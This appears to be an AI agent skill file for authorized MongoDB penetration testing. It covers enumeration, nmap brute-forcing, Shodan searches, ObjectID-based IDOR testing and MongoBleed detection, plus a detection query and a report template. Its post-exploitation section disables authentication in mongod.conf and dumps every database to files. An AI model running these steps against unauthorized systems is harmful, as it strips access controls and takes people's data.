| name | mongodb-pentest |
| description | Security assessment and penetration testing for MongoDB databases. Use this skill whenever the user needs to enumerate MongoDB instances, test for authentication bypass, check for ObjectID prediction vulnerabilities, assess MongoBleed (CVE-2025-14847) exposure, or perform authorized security testing on MongoDB services on ports 27017/27018. Trigger for any MongoDB security assessment, vulnerability scanning, or penetration testing task. |
MongoDB Security Assessment Skill
A comprehensive skill for authorized MongoDB penetration testing and security assessment.
⚠️ Authorization Required
Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized access to databases is illegal.
Quick Start
nmap -sV --script "mongo* and default" -p 27017 <target>
nmap -n -sV --script mongodb-brute -p 27017 <target>
python3 scripts/mongobleed_detect.py --host <target>
Workflow Overview
- Enumeration - Discover MongoDB instances and gather information
- Authentication Testing - Check for default/no-auth access
- Vulnerability Assessment - Test for known vulnerabilities
- Data Access Testing - Verify what data is accessible
- Reporting - Document findings
1. Enumeration
Manual Enumeration with Python
Use the scripts/mongodb_enum.py script for comprehensive enumeration:
python3 scripts/mongodb_enum.py --host <target> --port 27017 --info
python3 scripts/mongodb_enum.py --host <target> --port 27017 --list-dbs
python3 scripts/mongodb_enum.py --host <target> --port 27017 --full
Manual Python Connection
from pymongo import MongoClient
client = MongoClient('mongodb://<host>:<port>/')
print(client.server_info())
admin = client.admin
admin_info = admin.command("serverStatus")
cursor = client.list_databases()
for db in cursor:
print(f"Database: {db['name']}")
print(f"Collections: {client[db['name']].list_collection_names()}")
MongoDB Shell Commands
mongo <HOST>:<PORT>/<DB>
mongo <database> -u <username> -p '<password>'
show dbs
use <db>
show collections
db.<collection>.find()
db.<collection>.count()
db.current.find({"username":"admin"})
Nmap Enumeration
nmap -sV --script "mongo*" -p 27017 <target>
nmap -sV --script "mongo* and default" -p 27017 <target>
nmap -n -sV --script mongodb-brute -p 27017 <target>
Shodan Reconnaissance
"mongodb server information"
"mongodb server information" -"partially enabled"
"mongodb server information" "partially enabled"
2. Authentication Testing
Check for No-Auth Access
MongoDB often runs without authentication by default:
mongo <HOST>:<PORT>
show dbs
Check Configuration Files
If you have filesystem access, check the MongoDB config:
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#"
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth"
Brute Force Testing
nmap -n -sV --script mongodb-brute -p 27017 <target>
nmap -n -sV --script mongodb-brute --script-args userdb=users.txt,passdb=pass.txt -p 27017 <target>
3. ObjectID Prediction (IDOR Testing)
MongoDB ObjectIDs are 12-byte hexadecimal strings with predictable structure:
5f2459ac9fa6dc2500314019
││││││││││││││││││││││││
│││││││││││││││││││││└─ Counter (3 bytes)
│││││││││││││││││││└──── Process ID (2 bytes)
││││││││││││││││└─────── Machine ID (3 bytes)
│││││││││││││└────────── Timestamp (4 bytes)
ObjectID Structure
- Timestamp (4 bytes): Unix timestamp in seconds
- Machine ID (3 bytes): Unique identifier for the machine
- Process ID (2 bytes): MongoDB process ID
- Counter (3 bytes): Incremental counter
Testing for IDOR
Use the scripts/objectid_predict.py script:
python3 scripts/objectid_predict.py --base-id 5f2459ac9fa6dc2500314019 --count 1000
python3 scripts/objectid_predict.py --base-id 5f2459ac9fa6dc2500314019 --test-url "https://api.example.com/user/{id}"
Manual Testing Approach
- Create an account and capture the ObjectID
- Use the prediction tool to generate ~1000 probable IDs
- Test each ID against the target endpoint
- Look for valid responses indicating IDOR vulnerability
4. MongoBleed (CVE-2025-14847) Assessment
Vulnerability Overview
MongoBleed is a memory disclosure vulnerability affecting MongoDB 3.6–8.2 when zlib compression is enabled. It allows unauthenticated attackers to read uninitialized heap memory.
Affected Versions
- 3.6.x (all)
- 4.0.x (all)
- 4.2.x (all)
- 4.4.0–4.4.29
- 5.0.0–5.0.31
- 6.0.0–6.0.26
- 7.0.0–7.0.27
- 8.0.0–8.0.16
- 8.2.0–8.2.2
Detection Script
python3 scripts/mongobleed_detect.py --host <target> --port 27017
python3 scripts/mongobleed_detect.py --host <target> --port 27017 --check-version
Manual Detection
db.adminCommand({getParameter: 1, networkMessageCompressors: 1})
Exposure Requirements
- Server version in vulnerable range
zlib compression enabled in net.compression.compressors
- Network access to MongoDB port (27017/27018)
- No authentication required for exploitation
5. Post-Exploitation
If Root Access is Available
echo "noauth = true" >> /etc/mongod.conf
systemctl restart mongod
mongo localhost:27017
Data Exfiltration
from pymongo import MongoClient
import json
client = MongoClient('mongodb://<host>:<port>/')
for db_name in client.list_database_names():
db = client[db_name]
for collection_name in db.list_collection_names():
collection = db[collection_name]
data = list(collection.find())
with open(f"{db_name}_{collection_name}.json", "w") as f:
json.dump(data, f, indent=2, default=str)
6. Detection & Monitoring
Server-Side Detection
Watch for high-velocity connections (potential MongoBleed probing):
dataset = xdr_data
| filter event_type = ENUM.NETWORK
| filter lowercase(actor_process_image_name) in ("mongod", "mongod.exe")
| filter action_network_is_server = true
| filter action_remote_ip not in (null, "")
| filter incidr(action_remote_ip, "10.0.0.0/8") != true and
incidr(action_remote_ip, "192.168.0.0/16") != true and
incidr(action_remote_ip, "172.16.0.0/12") != true
| filter action_network_session_duration <= 5000
| bin _time span = 1m
| comp count(_time) as Counter by agent_hostname, action_remote_ip, _time
| filter Counter >= 500
Indicators of Compromise
- Spikes in inbound connections to mongod
- Short-lived connections from single IPs
- Unusual query patterns
- Failed authentication attempts
Reporting Template
# MongoDB Security Assessment Report
## Target Information
- Host: <target>
- Port: 27017/27018
- Version: <detected version>
## Findings
### Authentication
- [ ] No authentication required
- [ ] Weak credentials found
- [ ] Brute force vulnerable
### Vulnerabilities
- [ ] MongoBleed (CVE-2025-14847) - <status>
- [ ] ObjectID prediction - <status>
- [ ] Default configuration - <status>
### Data Exposure
- Databases accessible: <count>
- Collections accessible: <count>
- Sensitive data found: <yes/no>
## Recommendations
1. Enable authentication
2. Update MongoDB to latest version
3. Disable zlib compression if not needed
4. Implement network segmentation
5. Enable monitoring and alerting
References